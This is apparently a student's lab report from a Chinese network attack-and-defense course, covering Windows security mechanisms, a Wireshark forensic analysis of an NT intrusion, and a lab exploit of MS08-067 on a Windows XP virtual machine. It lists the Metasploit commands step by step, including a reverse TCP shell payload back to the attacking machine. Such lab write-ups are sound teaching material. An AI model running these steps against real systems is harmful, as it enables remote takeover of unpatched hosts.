实践六 Windows操作系统安全攻防

20212806 2021-2022-2 《网络攻防实践》实践六报告

1.实践内容

(1)Windows的安全机制
       Windows操作系统基于引用监控器模型来实现基本的对象安全模型,引用监控器模型即系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。
       基于引用监控器这一经典安全模型,Windows的安全体系结构图如下。最核心的是位于内核中的SRM安全引用监控器、位于用户态的LSASS安全服务。

  • 身份认证机制
           Windows以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类。对每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
           Windows为每个用户和计算机设置账户进行管理,本地Administrator和SYSTEM账户拥有最高权限;Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登录和远程网络访问的主体进行合法性验证。
  • 授权与访问控制机制
           Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
           对于系统中所有需要保护的资源都抽象成对象:文件,目录,注册表键值,内核对象,同步对象,私有对象,管道,内存,通信接口。
           每个对象关联一个SD安全描述符:Owner SID,Group SID,DACL自主访问控制列表,SACL系统审计访问控制列表。
  • 安全审计机制
           LSASS服务保存审计策略,SRM在进行对象访问授权时,也将审计记录发送给LSASS服务,再由EventLog服务进行写入记录。
  • 其他安全机制
           中心(防火墙、补丁、病毒防护),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等。
    (2)渗透攻击
  • 概述
           渗透是攻击者常用的一种攻击手段,也是一种综合的高级攻击技术,同时渗透也是安全工作者所研究的一个课题,在他们口中通常被称为”渗透测试(Penetration Test)”。无论是网络渗透(Network Penetration)还是渗透测试(Penetration Test),其实际上所指的都是同一内容,也就是研究如何一步步攻击入侵某个大型网络主机服务器群组。只不过从实施的角度上看,前者是攻击者的恶意行为,而后者则是安全工作者模拟入侵攻击测试,进而寻找最佳安全防护方案的正当手段。
           网络渗透攻击与普通攻击的不同,网络渗透攻击与普通网络攻击的不同在于,普通的网络攻击只是单一类型的攻击。例如,在普通的网络攻击事件中,攻击者可能仅仅是利用目标网络的Web服务器漏洞,入侵网站更改网页,或者在网页上挂马。也就是说,这种攻击是随机的,而其目的也是单一而简单的。网络渗透攻击则与此不同,它是一种系统渐进型的综合攻击方式,其攻击目标是明确的,攻击目的往往不那么单一,危害性也非常严重。
           例如,攻击者会有针对性地对某个目标网络进行攻击,以获取其内部的商业资料,进行网络破坏等。因此,攻击者实施攻击的步骤是非常系统的,假设其获取了目标网络中网站服务器的权限,则不会仅满足于控制此台服务器,而是会利用此台服务器,继续入侵目标网络,获取整个网络中所有主机的权限。为了实现渗透攻击,攻击者采用的攻击方式绝不仅此于一种简单的Web脚本漏洞攻击。攻击者会综合运用远程溢出、木马攻击、密码破解、嗅探、ARP欺骗等多种攻击方式,逐步控制网络。
  • 特点
           总体来说,与普通网络攻击相比,网络渗透攻击具有几个特性:攻击目的的明确性,攻击步骤的逐步与渐进性,攻击手段的多样性和综合性。

2.实践过程

(1)动手实践Metasploit windows attacker

设备 IP地址
Kali(攻击机) 192.168.37.129
Windows XP Professional(靶机) 192.168.37.131
  • 在Kali虚拟机中启动Metasploit
    service postgresql start //启动PostgreSQL服务
    msfdb init //初始化Metasploit PostgreSQL数据库
    msfconsole //启动metasploit

  • 使用命令search ms08_067搜寻漏洞情况,使用命令use windows/smb/ms08_067_netapi表明将ms08_067作为目标漏洞

  • 使用命令show payloads查看有效的攻击载荷,使用命令set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接

  • 使用命令show options查看需要设置的参数,即攻击机与靶机的IP地址。使用命令set LHOST 192.168.37.129设置攻击机Kali;set RHOST 192.168.37.131设置靶机Windows XP Professional

  • 使用命令show targets查看可设置的操作系统类型,使用命令set TARGET 0表示自动识别。

  • 输入命令exploit开始渗透,输入ipconfig可以查看靶机自己的IP地址,攻击成功

(2)取证分析实践:解码一次成功的NT系统破解攻击

  • 用wireshark软件打开.log文件,使用规则ip.addr == 172.16.1.106 and http对数据进行筛选并分析
  • 跟踪一组数据的tcp流

    -发现存在unicode解析错误漏洞,因此可以确定存在unicode漏洞攻击
  • 继续跟踪数据流,找到msadcs.dll,查看发现有shell语句和!ADM等关键字符,因此可以确定有RDS漏洞
  • 将上述的shell代码整理下来进行分析

  • 再继续分析msadcs.dll的shell命令,整理如下

  • 继续查看http数据流,发现删除了ftp的文件,猜测攻击者删除了之前下载的文件,准备溜走。

通过以上的NT分析可以了解到,如果我们的主机受到了攻击,采取的防范措施如下:

  • 首先要确定自身的口令是强口令,这样可以增大口令破解的难度
  • 然后是定期的打补丁,修复漏洞
  • 最后要定期的扫描自身的主机,查看是否存在漏洞等危险

(3)团队对抗实践:windows系统远程渗透攻击和分析

攻击方IP 防守方IP
192.168.1.105 192.168.1.107
  • 攻击方利用防守方靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权,并在防守方靶机里创建了一个名为xzb的文件夹
  • 防守方通过wireshark抓包,查到了攻击方的信息,并在靶机上发现攻击方创建的文件夹

3.学习中遇到的问题及解决

  • 问题1:在进行渗透攻击时,出现错误代码:Exploit completed, but no session was created
  • 问题1解决方案: 此时要根据靶机版本选择合适的targets,例如这里是靶机系统为:Windows XP SP3 中文版,则只需加一行如下命令:
msf5 exploit(windows/smb/ms08_067_netapi) > set target 34
target => 34

然后输入exploit进行攻击即可

  • 问题2:在进行渗透攻击时,攻击方无法ping通防守方的ip
  • 问题2解决方案:将kali攻击机设置成桥接模式,这样就可以让攻击机与靶机在同一网段内,以便渗透攻击的顺利进行。

4.实践总结

       本次实践主要学习了Windows的安全机制,以及渗透攻击的攻击过程,最后通过和另外一位同学一起模拟利用MS08-067漏洞进行远程渗透攻击,深刻理解了网络攻防的一般步骤,同时还要多加强理论知识的学习,并投入大量时间去实践,才能把网络攻防技术掌握的更好。

posted @ 2022-04-21 09:24  20212806胡云深  阅读(508)  评论(0编辑  收藏  举报